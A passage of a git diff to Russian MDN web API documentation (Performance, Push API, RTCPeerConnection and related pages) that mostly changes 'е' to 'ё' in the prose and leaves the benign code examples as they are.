увидеть в другом фоновом потоке и наоборот.</p> </div> <h2 id="Свойства">Свойства</h2> @@ -56,9 +56,9 @@ translation_of: Web/API/Performance <dt>{{domxref("Performance.getEntriesByType()")}}</dt> <dd>Возвращает список объектов {{domxref("PerformanceEntry")}} переданного, как аргумент, <em>типа записи</em>.</dd> <dt>{{domxref("Performance.mark()")}}</dt> - <dd>Создает {{domxref("DOMHighResTimeStamp","временну́ю метку")}} с заданным именем в <em>буфере записей производительности.</em></dd> + <dd>Создаёт {{domxref("DOMHighResTimeStamp","временну́ю метку")}} с заданным именем в <em>буфере записей производительности.</em></dd> <dt>{{domxref("Performance.measure()")}}</dt> - <dd>Создает именованную {{domxref("DOMHighResTimeStamp","временну́ю метку")}} в буфере записей производительности браузера между двумя определенными метками (известных как <em>start mark</em> (начальная метка) и <em>end mark </em>(конечная метка), соответственно).</dd> + <dd>Создаёт именованную {{domxref("DOMHighResTimeStamp","временну́ю метку")}} в буфере записей производительности браузера между двумя определёнными метками (известных как <em>start mark</em> (начальная метка) и <em>end mark </em>(конечная метка), соответственно).</dd> <dt>{{domxref("Performance.now()")}}</dt> <dd>Возвращает объект {{domxref("DOMHighResTimeStamp")}}, представляющий количество миллисекунд, прошедших с начала момента отсчета.</dd> <dt>{{domxref("Performance.setResourceTimingBufferSize()")}}</dt> diff --git a/files/ru/web/api/performance/now/index.html b/files/ru/web/api/performance/now/index.html index bf7359c969..3c0ae8630b 100644 --- a/files/ru/web/api/performance/now/index.html +++ b/files/ru/web/api/performance/now/index.html @@ -33,7 +33,7 @@ var t1 = performance.now(); console.log("Call to doSomething took " + (t1 - t0) + " milliseconds.") </pre> -<p>В отличие от других временны́х типов данных, доступных в JavaScript (таких как <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), метки времени, возвращенные из <code>performance.now(),</code> не ограничены кратностью в одну миллисекунду, а представляют значение времени как число с плавающей запятой, с точностью до микросекунд.</p> +<p>В отличие от других временны́х типов данных, доступных в JavaScript (таких как <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), метки времени, возвращённые из <code>performance.now(),</code> не ограничены кратностью в одну миллисекунду, а представляют значение времени как число с плавающей запятой, с точностью до микросекунд.</p> <p>Также, в противоположность <code>Date.now</code>, значение, возвращаемое из <code>performance.now(), всегда возрастает с постоянной скоростью, независимо от системного времени </code>(которое может быть установлено вручную или изменено программами наподобие NTP).</p> diff --git a/files/ru/web/api/pointer_lock_api/index.html b/files/ru/web/api/pointer_lock_api/index.html index f02441f710..380e2b0888 100644 --- a/files/ru/web/api/pointer_lock_api/index.html +++ b/files/ru/web/api/pointer_lock_api/index.html @@ -3,11 +3,11 @@ title: Pointer Lock API slug: Web/API/Pointer_Lock_API translation_of: Web/API/Pointer_Lock_API --- -<p><span class="seoSummary"><strong>Pointer lock</strong> <strong>API</strong>(прежнее название Mouse Lock API) </span><span style="line-height: 1.5;">обеспечивает методы ввода, основанные на движении мыши , а не только абсолютно позиционированых координатах курсора </span><span style="line-height: 1.5;">в окне. Это дает вам доступ к необработанным движениям мыши, прикрепляет курсор мыши к любому элементу </span><span style="line-height: 1.5;">в окне браузера</span><span style="line-height: 1.5;">, предоставляет возможность вычислять координаты мыши не ограниченной областью окна проекции, и скрывает курсор из поля зрения. Это идеальное решение для 3D игр, например.</span></p> +<p><span class="seoSummary"><strong>Pointer lock</strong> <strong>API</strong>(прежнее название Mouse Lock API) </span><span style="line-height: 1.5;">обеспечивает методы ввода, основанные на движении мыши , а не только абсолютно позиционированых координатах курсора </span><span style="line-height: 1.5;">в окне. Это даёт вам доступ к необработанным движениям мыши, прикрепляет курсор мыши к любому элементу </span><span style="line-height: 1.5;">в окне браузера</span><span style="line-height: 1.5;">, предоставляет возможность вычислять координаты мыши не ограниченной областью окна проекции, и скрывает курсор из поля зрения. Это идеальное решение для 3D игр, например.</span></p> <p>Более того, API полезно для любых приложений, которые используют данные мыши для управления движениями, вращения объектов и изменения записей. Например пользователь может управлять наклоном просто двигая мышь, не нажимая ни на какие кнопки. Сами кнопки освобождаются под другие задачи. Примерами могут послужить программы для просмотра карт или спутниковой съемки.</p> -<p>Блокировка указателя позволяет вам получить доступ к данным мыши, даже если курсор ушел за границы экрана или браузера. Например, ваши пользователи могут продолжать вращать или управлять 3D моделью движением мыши бесконечно. Без блокировки вращение или управление останавливается, как только курсор достигает края браузера или экрана. Геймеры теперь могут нажимать кнопки и водить курсором взад и вперед, не боясь покинуть игровое поле и случайно переключится на другое приложение.</p> +<p>Блокировка указателя позволяет вам получить доступ к данным мыши, даже если курсор ушёл за границы экрана или браузера. Например, ваши пользователи могут продолжать вращать или управлять 3D моделью движением мыши бесконечно. Без блокировки вращение или управление останавливается, как только курсор достигает края браузера или экрана. Геймеры теперь могут нажимать кнопки и водить курсором взад и вперёд, не боясь покинуть игровое поле и случайно переключится на другое приложение.</p> <h2 id="basics" name="basics">Основные концепции</h2> diff --git a/files/ru/web/api/positionoptions/index.html b/files/ru/web/api/positionoptions/index.html index 9f0fb0b77d..e9d175035c 100644 --- a/files/ru/web/api/positionoptions/index.html +++ b/files/ru/web/api/positionoptions/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/PositionOptions <dl> <dt>{{domxref("PositionOptions.enableHighAccuracy")}}</dt> - <dd>{{domxref("Boolean")}} сообщает приложению, что нужно получить максимально уточненный результат. Если <code>true</code> и устройство поддерживает расширенный поиск локации, то он будет осуществлен. Нужно учитывать, что это может привести к замедлению времени отклика или увеличению потребляемых ресурсов (например расширенному использованию GPS на мобильных устройствах). Если <code>false</code>, устройство будет искать максимально быстро и экономично, что уменьшает точность. По умолчанию: <code>false</code>.</dd> + <dd>{{domxref("Boolean")}} сообщает приложению, что нужно получить максимально уточнённый результат. Если <code>true</code> и устройство поддерживает расширенный поиск локации, то он будет осуществлён. Нужно учитывать, что это может привести к замедлению времени отклика или увеличению потребляемых ресурсов (например расширенному использованию GPS на мобильных устройствах). Если <code>false</code>, устройство будет искать максимально быстро и экономично, что уменьшает точность. По умолчанию: <code>false</code>.</dd> <dt>{{domxref("PositionOptions.timeout")}}</dt> <dd>Положительное число в миллисекундах, устанавливающее время, за которое устройство должно вернуть результат. По умолчанию это значение <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity">Infinity</a></code>, что значит, <code>getCurrentPosition()</code> будет работать до тех пор пока не определит положение устройства.</dd> <dt>{{domxref("PositionOptions.maximumAge")}}</dt> diff --git a/files/ru/web/api/push_api/index.html b/files/ru/web/api/push_api/index.html index 138ca1fb86..7fbf680b2b 100644 --- a/files/ru/web/api/push_api/index.html +++ b/files/ru/web/api/push_api/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/Push_API --- <p>{{DefaultAPISidebar("Push API")}}{{SeeCompatTable}}</p> -<p><strong>Push API</strong> дает веб приложениям возможность получать сообщения отправленные с сервера, независимо от того, запущено ли веб приложение в фоне или даже загружено ли оно вообще пользователем. Это позволяет разработчикам посылать асинхронные сообщения и обновления пользователям которые подписались на них, как результат улучшается информированность пользователей о новом контенте</p> +<p><strong>Push API</strong> даёт веб приложениям возможность получать сообщения отправленные с сервера, независимо от того, запущено ли веб приложение в фоне или даже загружено ли оно вообще пользователем. Это позволяет разработчикам посылать асинхронные сообщения и обновления пользователям которые подписались на них, как результат улучшается информированность пользователей о новом контенте</p> <div class="note"> <p><strong>Примечание</strong>: Эта документация охватывает спецификацию W3C Push API ; если вы ищете документацию по запатентованной технологии Firefox OS , <a href="/en-US/docs/Web/API/Simple_Push_API">смотрите здесь</a>.</p> @@ -38,10 +38,10 @@ translation_of: Web/API/Push_API <p>Каждая подписка уникальна по отношению к service worker. Адрес для подписки это уникальный <a href="http://www.w3.org/TR/capability-urls/">capability URL</a>: все что нужно чтобы отослать сообщение вашему приложению это адрес. Однако это URL необходимо держать в секрете, иначе любое другое приложение сможет слать push уведомление к вашему приложению.</p> -<p>Использование service worker для получения push уведомлений может привести к повышенному потреблению ресурсов, например это может влиять на расход батареи. Во всех браузерах это работает по разному - нет стандарта на этот счет. К примеру Firefox позволяет лишь ограниченное число уведомлений которое может быть отправлено приложению, а Chrome не имеет таких ограничений, однако обязывает показывать уведомление пользователю каждый раз, чтобы пользователь мог решить хочет он или нет принимать их дальше.</p> +<p>Использование service worker для получения push уведомлений может привести к повышенному потреблению ресурсов, например это может влиять на расход батареи. Во всех браузерах это работает по разному - нет стандарта на этот счёт. К примеру Firefox позволяет лишь ограниченное число уведомлений которое может быть отправлено приложению, а Chrome не имеет таких ограничений, однако обязывает показывать уведомление пользователю каждый раз, чтобы пользователь мог решить хочет он или нет принимать их дальше.</p> <div class="note"> -<p><strong>Примечание: </strong><span id="result_box" lang="ru"><span>Начиная с Gecko 44, разрешенная квота push-</span></span>уведомлений<span lang="ru"><span> для каждого приложения не увеличивается, в случае если новое уведомление срабатывает когда другое все еще должна отображаться в течение трех секунд.</span> <span>Это обрабатывает случаи, когда получены несколько Push </span></span>уведомлений подряд<span lang="ru"><span> и не все генерируют видимое уведомление.</span></span></p> +<p><strong>Примечание: </strong><span id="result_box" lang="ru"><span>Начиная с Gecko 44, разрешённая квота push-</span></span>уведомлений<span lang="ru"><span> для каждого приложения не увеличивается, в случае если новое уведомление срабатывает когда другое все ещё должна отображаться в течение трёх секунд.</span> <span>Это обрабатывает случаи, когда получены несколько Push </span></span>уведомлений подряд<span lang="ru"><span> и не все генерируют видимое уведомление.</span></span></p> </div> <div class="note"> diff --git a/files/ru/web/api/pushmanager/subscribe/index.html b/files/ru/web/api/pushmanager/subscribe/index.html index a264d593d7..008a7438d8 100644 --- a/files/ru/web/api/pushmanager/subscribe/index.html +++ b/files/ru/web/api/pushmanager/subscribe/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/PushManager/subscribe <p><code style=""><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Метод </span></font><strong>subscribe()</strong></code> интерфейса {{domxref("PushManager")}} позволяет осуществлять подписку на push-уведомления.</p> -<p>Возвращает {{jsxref("Promise")}}, который разрешается в объект {{domxref("PushSubscription")}}, содержащий детали push-подписки. Новая push-подписка создается в случае, если сервис-воркер не имеет существующей подписки.</p> +<p>Возвращает {{jsxref("Promise")}}, который разрешается в объект {{domxref("PushSubscription")}}, содержащий детали push-подписки. Новая push-подписка создаётся в случае, если сервис-воркер не имеет существующей подписки.</p> <h2 id="Синтакс">Синтакс</h2> @@ -52,7 +52,7 @@ navigator.serviceWorker.register('serviceworker.js').then( // при помощи XMLHttpRequest.</code> }, function(error) { <code>// При разработке это часто помогает отлавливать ошибки в консоли. - // В продакшен-среде это также может быть полезно для отправки отчета + // В продакшен-среде это также может быть полезно для отправки отчёта // об ошибках на сервер приложения.</code> console.log(error); } diff --git a/files/ru/web/api/range/surroundcontents/index.html b/files/ru/web/api/range/surroundcontents/index.html index 5108735c19..863ef08fd7 100644 --- a/files/ru/web/api/range/surroundcontents/index.html +++ b/files/ru/web/api/range/surroundcontents/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Range/surroundContents <p>Этот метод приблизительно эквивалентен коду <code>newNode.appendChild(<a href="/en/DOM/range.extractContents" title="en/DOM/range.extractContents">range.extractContents()</a>); <a href="/en-US/docs/DOM/range.insertNode" title="/en-US/docs/DOM/range.insertNode">range.insertNode</a>(newNode)</code>. После его работы крайние точки диапазона будут включать в себя <code>newNode</code>.</p> -<p>Если {{ domxref("Range") }} разделяет любой не <a href="https://developer.mozilla.org/en-US/docs/Web/API/Text">текстовый</a> элемент хотя бы одной точкой, произойдет исключение. В отличие от альтернативы выше, если в диапазоне есть частично выделенные элементы, они не будут клонированы, а вместо этого производит ошибка.</p> +<p>Если {{ domxref("Range") }} разделяет любой не <a href="https://developer.mozilla.org/en-US/docs/Web/API/Text">текстовый</a> элемент хотя бы одной точкой, произойдёт исключение. В отличие от альтернативы выше, если в диапазоне есть частично выделенные элементы, они не будут клонированы, а вместо этого производит ошибка.</p> <h2 id="Syntax" name="Syntax">Синтаксис</h2> diff --git a/files/ru/web/api/response/index.html b/files/ru/web/api/response/index.html index 30f50ac1a0..e32d4d23b9 100644 --- a/files/ru/web/api/response/index.html +++ b/files/ru/web/api/response/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Response <p><span class="seoSummary">Интерфейс <strong><code>Response</code></strong> из <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> представляет собой ответ на запрос.</span></p> -<p>Вы можете создать новый экземпляр объекта <code>Response</code> используя конструктор {{domxref("Response.Response()")}}, но скорее всего вы столкнетесь с объектом <code>Response</code>, как результат какой-нибудь API операции — например, service worker {{domxref("Fetchevent.respondWith")}}, или {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.</p> +<p>Вы можете создать новый экземпляр объекта <code>Response</code> используя конструктор {{domxref("Response.Response()")}}, но скорее всего вы столкнётесь с объектом <code>Response</code>, как результат какой-нибудь API операции — например, service worker {{domxref("Fetchevent.respondWith")}}, или {{domxref("WindowOrWorkerGlobalScope.fetch()")}}.</p> <h2 id="Конструктор">Конструктор</h2> diff --git a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html index 227387085a..4cc50b9e0b 100644 --- a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html +++ b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html @@ -7,9 +7,9 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates <div></div> -<div><span class="seoSummary">Свойство только для чтения <code><strong>canTrickleIceCandidates</strong></code> , объекта <strong>{{domxref("RTCPeerConnection")}}</strong>, возвращает значение типа {{jsxref("Boolean")}} , которое указывает на то, может ли удаленный пир принимать кандидаты, согласно спецификации <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice">trickled ICE candidates</a>.</span></div> +<div><span class="seoSummary">Свойство только для чтения <code><strong>canTrickleIceCandidates</strong></code> , объекта <strong>{{domxref("RTCPeerConnection")}}</strong>, возвращает значение типа {{jsxref("Boolean")}} , которое указывает на то, может ли удалённый пир принимать кандидаты, согласно спецификации <a href="https://tools.ietf.org/html/draft-ietf-mmusic-trickle-ice">trickled ICE candidates</a>.</span></div> -<p><strong>ICE trickling (ICE просачивание)</strong> - процесс продолжающейся отправки кандидатов, после первоначальной передачи предложения или ответа удаленному пиру..</p> +<p><strong>ICE trickling (ICE просачивание)</strong> - процесс продолжающейся отправки кандидатов, после первоначальной передачи предложения или ответа удалённому пиру..</p> <p>Свойство инициализируется только после вызова метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}. Было бы идеально, если бы ваш протокол сигнализации предоставлял способ определения поддержки просачивания кандидатов, для того, что бы не полагаться на это свойство. Браузер, поддерживающий WebRTC, всегда будет поддерживать ICE просачивание.</p> @@ -21,10 +21,10 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates <h3 id="Значение">Значение</h3> -<p>Тип {{jsxref("Boolean")}} содержит <code>true</code> , если удаленный пир может принимать просвечивающие ICE кандидаты, и <code>false</code> , если не может. Если удаленный пир еще не инициализирован, свойство возвращает <code>null</code>.</p> +<p>Тип {{jsxref("Boolean")}} содержит <code>true</code> , если удалённый пир может принимать просвечивающие ICE кандидаты, и <code>false</code> , если не может. Если удалённый пир ещё не инициализирован, свойство возвращает <code>null</code>.</p> <div class="note"> -<p><strong>Примечание :</strong> Значение свойства инициализируется после того, как локальный пир вызовет метод {{domxref("RTCPeerConnection.setRemoteDescription()")}}; Возвращаемый объект описания используется агентом ICE для определения возможности удаленного пира поддерживать просачивающихся ICE кандидатов.</p> +<p><strong>Примечание :</strong> Значение свойства инициализируется после того, как локальный пир вызовет метод {{domxref("RTCPeerConnection.setRemoteDescription()")}}; Возвращаемый объект описания используется агентом ICE для определения возможности удалённого пира поддерживать просачивающихся ICE кандидатов.</p> </div> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html index b0ddb77eb3..09fa8f0f88 100644 --- a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html +++ b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/currentLocalDescription --- <p>{{WebRTCSidebar}} </p> -<p>Только для чтения свойство <code><strong>RTCPeerConnection.currentLocalDescription</strong></code> возвращает объект {{domxref("RTCSessionDescription")}} , описывающий локальную сторону соединения, как самый последний, удачно согласованный объект описания, с момента последнего завершения согласования {{domxref("RTCPeerConnection")}} и соединения с удаленным пиром (участником соединения) . </p> +<p>Только для чтения свойство <code><strong>RTCPeerConnection.currentLocalDescription</strong></code> возвращает объект {{domxref("RTCSessionDescription")}} , описывающий локальную сторону соединения, как самый последний, удачно согласованный объект описания, с момента последнего завершения согласования {{domxref("RTCPeerConnection")}} и соединения с удалённым пиром (участником соединения) . </p> <p>Для изменения <code>currentLocalDescription</code>, вызовите метод {{domxref("RTCPeerConnection.setLocalDescription()")}}, который запускает серию событий, приводящих к присвоению значения. Более подробно о том, что точно происходит и почему изменения происходят не сразу, смотрите {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.</p> @@ -34,7 +34,7 @@ if (sd) { sd.sdp + "'"); } else { - alert("Локальной сессии еще нет."); + alert("Локальной сессии ещё нет."); } </pre> diff --git a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html index a894369844..8793f0e379 100644 --- a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html +++ b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription --- <p>{{WebRTCSidebar}}</p> -<p>Только для чтения свойство <code><strong>RTCPeerConnection.currentRemoteDescription</strong></code> возвращает объект {{domxref("RTCSessionDescription")}} , представляющий удаленную сторону соединения, как последний, успешно согласованный объект данных, с момента завершения согласования и установки соединения объектом {{domxref("RTCPeerConnection")}} с удаленным пиром. </p> +<p>Только для чтения свойство <code><strong>RTCPeerConnection.currentRemoteDescription</strong></code> возвращает объект {{domxref("RTCSessionDescription")}} , представляющий удалённую сторону соединения, как последний, успешно согласованный объект данных, с момента завершения согласования и установки соединения объектом {{domxref("RTCPeerConnection")}} с удалённым пиром. </p> <p>Для изменения значения свойства <code>currentRemoteDescription</code>, вызовите метод {{domxref("RTCPeerConnection.setRemoteDescription()")}}, который запускает серию событий, приводящих к установке нового значения. Подробнее о том, что точно происходит и почему изменение значения не происходит немедленно, смотрите {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Ожидающие и текущие объекты описания")}}.</p> @@ -19,7 +19,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> -<p>Текущий объект описания, представляющий удаленную сторону соединения, если она присутствует. Если ни один объект описания не установлен, значением будет <code>null</code>.</p> +<p>Текущий объект описания, представляющий удалённую сторону соединения, если она присутствует. Если ни один объект описания не установлен, значением будет <code>null</code>.</p> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html index 8bd86fa3e5..4cf9d46d46 100644 --- a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html +++ b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event --- <div>{{WebRTCSidebar}}</div> -<p>Событие <strong><code>icecandidate</code></strong> отправляется {{domxref("RTCPeerConnection")}} когда {{domxref("RTCIceCandidate")}} был идентифицирован и добавлен к локальному клиенту (local peer) через вызов {{domxref("RTCPeerConnection.setLocalDescription()")}}. Обработчик события должен передать кандидата удаленному клиенту (remote peer) по каналу сигнализации (signaling channel), чтобы удаленный клиент (remote peer) смог добавить его в свой набор удаленных кандидатов (remote candidates).</p> +<p>Событие <strong><code>icecandidate</code></strong> отправляется {{domxref("RTCPeerConnection")}} когда {{domxref("RTCIceCandidate")}} был идентифицирован и добавлен к локальному клиенту (local peer) через вызов {{domxref("RTCPeerConnection.setLocalDescription()")}}. Обработчик события должен передать кандидата удалённому клиенту (remote peer) по каналу сигнализации (signaling channel), чтобы удалённый клиент (remote peer) смог добавить его в свой набор удалённых кандидатов (remote candidates).</p> <table class="properties"> <tbody> @@ -34,7 +34,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event <h3 id="Делимся_Sharing_новым_кандидатом">Делимся (Sharing) новым кандидатом</h3> -<p>В основном события <code>icecandidate</code> происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кандидата нужно доставить удаленному клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.</p> +<p>В основном события <code>icecandidate</code> происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кандидата нужно доставить удалённому клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.</p> <pre class="brush: js notranslate">rtcPeerConnection.onicecandidate = (event) => { if (event.candidate) { @@ -45,7 +45,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event } </pre> -<p>Удаленный клиент (peer), получив кандидата, добавит этого кандидата в свой пул кандидатов, используя вызов {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, передавая в {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, которую вы передали с помощью сервера сигнализации (signaling server).</p> +<p>Удалённый клиент (peer), получив кандидата, добавит этого кандидата в свой пул кандидатов, используя вызов {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, передавая в {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, которую вы передали с помощью сервера сигнализации (signaling server).</p> <h3 id="Indicating_the_end_of_a_generation_of_candidates">Indicating the end of a generation of candidates</h3> diff --git a/files/ru/web/api/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/index.html index 5103da41dc..676d536252 100644 --- a/files/ru/web/api/rtcpeerconnection/index.html +++ b/files/ru/web/api/rtcpeerconnection/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection --- <p>{{APIRef('WebRTC')}}</p> -<p><span class="seoSummary">Интерфейс <strong><code>RTCPeerConnection</code></strong> представляет соединение WebRTC между локальным пиром (участником соединения) на локальном компьютере и удаленным пиром на удаленном компьютере. Он предоставляет методы для соединения с удаленным участником соединения, обслуживания, мониторинга и закрытия соединения.</span></p> +<p><span class="seoSummary">Интерфейс <strong><code>RTCPeerConnection</code></strong> представляет соединение WebRTC между локальным пиром (участником соединения) на локальном компьютере и удалённым пиром на удалённом компьютере. Он предоставляет методы для соединения с удалённым участником соединения, обслуживания, мониторинга и закрытия соединения.</span></p> <p>{{InheritanceDiagram}}</p> @@ -17,7 +17,7 @@ translation_of: Web/API/RTCPeerConnection <dl> <dt>{{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}</dt> - <dd>Создает новый объект типа {{domxref("RTCDTMFSender")}}, связанный с определенным объектом {{domxref("MediaStreamTrack")}}, который сможет отправить объект сигнализации {{Glossary("DTMF")}} поверх соединения..</dd> + <dd>Создаёт новый объект типа {{domxref("RTCDTMFSender")}}, связанный с определённым объектом {{domxref("MediaStreamTrack")}}, который сможет отправить объект сигнализации {{Glossary("DTMF")}} поверх соединения..</dd> </dl> <h2 id="События">События </h2> @@ -29,10 +29,10 @@ translation_of: Web/API/RTCPeerConnection <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда общий статус объекта соединения <code>RTCPeerConnection</code> изменился.<br> Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}}.</dd> <dt>{{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}</dt> - <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда удаленный пир (участник соединения) добавляет объект данных {{domxref("RTCDataChannel")}} в текущее соединение.<br> + <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда удалённый пир (участник соединения) добавляет объект данных {{domxref("RTCDataChannel")}} в текущее соединение.<br> Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}}.</dd> <dt>{{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}</dt> - <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда специальный объект ICE кандидата (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>) сгенерирован <code>RTCPeerConnection</code> и готов для передачи удаленному пиру по каналу сигнализации.Сам сгенерированный объект кандидата передается в параметр вызванного обработчика. <br> + <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда специальный объект ICE кандидата (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>) сгенерирован <code>RTCPeerConnection</code> и готов для передачи удалённому пиру по каналу сигнализации.Сам сгенерированный объект кандидата передаётся в параметр вызванного обработчика. <br> Так же, доступно через свойство установки обработчика события {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}}.</dd> <dt>{{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}</dt> <dd>Событие типа ошибки {{domxref("RTCPeerConnectionIceErrorEvent")}} , возникает на объекте соединения при генерации ICE кандидата (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>), если при этом возникла ошибка. Свойства объекта ошибки, возвращаемого в обработчик, описывают подробности ошибки.<br> @@ -41,10 +41,10 @@ translation_of: Web/API/RTCPeerConnection <dd>Событие объекта <code>RTCPeerConnection</code> возникает при изменении статуса ICE соединения. К примеру, <a href="https://developer.mozilla.org/en-US/docs/Glossary/ICE">ICE</a> соединение разорвано.<br> Так же, доступно через свойство установки обработчика события{{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} .</dd> <dt>{{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}</dt> - <dd>Событие объекта <code>RTCPeerConnection,</code> возникает, когда статус сборки, представленный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, изменяется. Это указывает на то, что : согласование соединения ICE еще не началось (статус равен значению "<code>new</code>"); согласование соединения ICE началось (статус равен значению "<code>gathering</code>"); согласование ICE соединения завершено (статус равен значению "<code>complete</code>").<br> + <dd>Событие объекта <code>RTCPeerConnection,</code> возникает, когда статус сборки, представленный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, изменяется. Это указывает на то, что : согласование соединения ICE ещё не началось (статус равен значению "<code>new</code>"); согласование соединения ICE началось (статус равен значению "<code>gathering</code>"); согласование ICE соединения завершено (статус равен значению "<code>complete</code>").<br> Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} .</dd> <dt>{{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}</dt> - <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} на одном из объектов {{domxref("MediaStreamTrack")}} , связанного с соединением изменяет свое значение. Объект трека является изолированным {{domxref("MediaStreamTrack.isolated", "isolated")}}, если его содержимое не может быть доступно содержащему его документу, по причине невозможности аутентификации, или объект трека прибыл не из источника происхождения страницы.<br> + <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} на одном из объектов {{domxref("MediaStreamTrack")}} , связанного с соединением изменяет своё значение. Объект трека является изолированным {{domxref("MediaStreamTrack.isolated", "isolated")}}, если его содержимое не может быть доступно содержащему его документу, по причине невозможности аутентификации, или объект трека прибыл не из источника происхождения страницы.<br> Так же, доступно через свойство установки обработчика {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}}.</dd> <dt>{{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}</dt> <dd>Событие объекта <code>RTCPeerConnection</code> возникает, когда необходимо запустить согласование (пересогласование) ICE соединения; может произойти при первом открытии соединения , или при необходимости принятия изменений условий сети. Получатель должен ответить, создав предложение и отправив его другому партнеру. <br> @@ -83,7 +83,7 @@ translation_of: Web/API/RTCPeerConnection <h3 id="Перечисление_RTCBundlePolicy">Перечисление RTCBundlePolicy </h3> -<p>Перечисление <code>RTCBundlePolicy</code> (политика сборки пакетов) определяет строковые константы, которые используются для запроса определенной политики при сборке ICE кандидатов, в случае, если удаленный участник соединения (удаленная точка) не совместим со стандартом <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a> для объединения нескольких медиапотоков в один транспортный пакет.</p> +<p>Перечисление <code>RTCBundlePolicy</code> (политика сборки пакетов) определяет строковые константы, которые используются для запроса определённой политики при сборке ICE кандидатов, в случае, если удалённый участник соединения (удалённая точка) не совместим со стандартом <a href="https://webrtcstandards.info/sdp-bundle/">SDP BUNDLE standard</a> для объединения нескольких медиапотоков в один транспортный пакет.</p> <div class="note"> <p><strong> Примечание :</strong> В технических терминах BUNDLE (пакет) позволяет всем медиапотокам между двумя пирами проходить через один 5 - ти элементный кортеж (тип транспортного протокола передачи сообщений при установки TCP, UDP, и ICMP соединений, состоящий из пяти элементов анализа данных). То есть, с одного IP-адреса и порта на одном узле на один IP-адрес и порт на другом узле с использованием 